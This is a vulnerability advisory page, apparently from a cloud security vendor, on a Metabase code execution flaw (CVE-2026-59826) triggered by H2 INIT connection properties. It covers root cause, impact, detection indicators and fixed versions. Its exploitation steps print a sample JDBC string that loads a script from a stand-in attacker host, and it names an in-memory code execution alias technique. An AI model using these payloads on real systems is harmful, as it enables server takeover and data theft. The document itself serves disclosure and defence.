
PEACH
Un cadre d’isolation des locataires
CVE-2026-59826 is a critical arbitrary code execution vulnerability in Metabase, an open-source business intelligence and embedded analytics platform. The flaw allows an authenticated administrator to register a crafted H2 database connection with unsafe connection properties, resulting in arbitrary Java code execution on the Metabase server. It affects versions from 1.55.0 up to (but not including) 1.58.15.1, 1.59.12, 1.60.6.3 (or 1.60.7 per the advisory), and 1.61.2. The vulnerability was published on July 9, 2026, and was reported by security researcher Nasanbat Ganbold (Nasaa_0x). It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory).
The root cause is improper input validation (CWE-94: Code Injection) on a specific database-creation code path — specifically the /destination-database API endpoint used for database routing — which did not invoke the validate-db-details! check that the standard POST /api/database endpoint applied. The H2 database driver's safety validation (which blocks dangerous connection properties such as INIT) was only enforced in the can-connect? method, not in the separate creation path. An attacker with administrator credentials could supply an H2 JDBC connection string containing an INIT property (e.g., INIT=RUNSCRIPT FROM '...') to execute arbitrary Java/SQL commands on the server at connection time. The fix introduced a new validate-db-details! multimethod that is called independently of connectivity checks, ensuring unsafe H2 and MySQL connection properties are rejected on all code paths (GitHub Advisory, Fix Commit).
Successful exploitation grants the attacker full control over the Metabase server process, with high impact to confidentiality, integrity, and availability. An attacker can execute arbitrary Java code, read or exfiltrate sensitive data (including all business intelligence data and credentials stored in Metabase), modify or destroy data, and potentially pivot to other internal systems accessible from the server. Because the scope is marked as "Changed," the impact extends beyond the Metabase application itself to the underlying host and connected infrastructure (GitHub Advisory).
Exploitation requires authenticated administrator-level access to the Metabase instance, which limits opportunistic exploitation but remains a significant risk in environments with multiple admins or compromised credentials. The EPSS score is approximately 0.39%, indicating a relatively low (but non-negligible) probability of exploitation in the wild in the near term. A PoC or exploit reference appeared on Sploitus around July 13, 2026, and a technical write-up was published on July 17, 2026, suggesting public exploit details are available. There is no current CISA KEV catalog listing, and no confirmed in-the-wild exploitation has been reported as of the available data (GitHub Advisory, Sploitus).
POST /api/ee/database-routing/destination-database, which skips the standard connection detail validation.INIT property to execute arbitrary commands, e.g., jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/payload.sql' or using INIT=CREATE ALIAS EXEC AS $$ ... $$\;CALL EXEC('...') for in-memory code execution.validate-db-details! is not called on this path in vulnerable versions, the INIT property is not blocked.INIT script upon connection, executing the attacker-controlled Java or SQL payload on the Metabase server with the privileges of the Metabase process.POST requests to /api/ee/database-routing/destination-database with H2 engine type and unusual or encoded connection strings; Java exceptions or stack traces in Metabase logs referencing H2 INIT script execution or RUNSCRIPT./tmp; new cron jobs or systemd services created by the Metabase service account.bash, sh, curl, wget, python, nc); unexpected network listeners opened by the JVM.Metabase has released patched versions that introduce the validate-db-details! multimethod to enforce H2 connection property validation on all code paths. Administrators should upgrade to one of the following fixed versions immediately: 1.58.15.1 (OSS: 0.58.15.1), 1.59.12 (OSS: 0.59.12), 1.60.7 (OSS: 0.60.7), or 1.61.2 (OSS: 0.61.2). As a temporary workaround where upgrading is not immediately possible, restrict administrator access to trusted users only and consider network-level controls to limit access to the Metabase admin interface. There are no known configuration-only mitigations that fully prevent exploitation without patching (GitHub Advisory, Release v0.58.15.1, Release v0.59.12, Release v0.60.6.3).
The vulnerability was credited to researcher Nasanbat Ganbold (Nasaa_0x) in the official Metabase security advisory. A technical write-up was published on July 17, 2026, at no.security, and a PoC week summary referencing the vulnerability appeared on July 20, 2026. The CVE attracted standard aggregation coverage from Tenable, VulnDB, INCIBE, and CVE tracking services shortly after disclosure (GitHub Advisory).
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."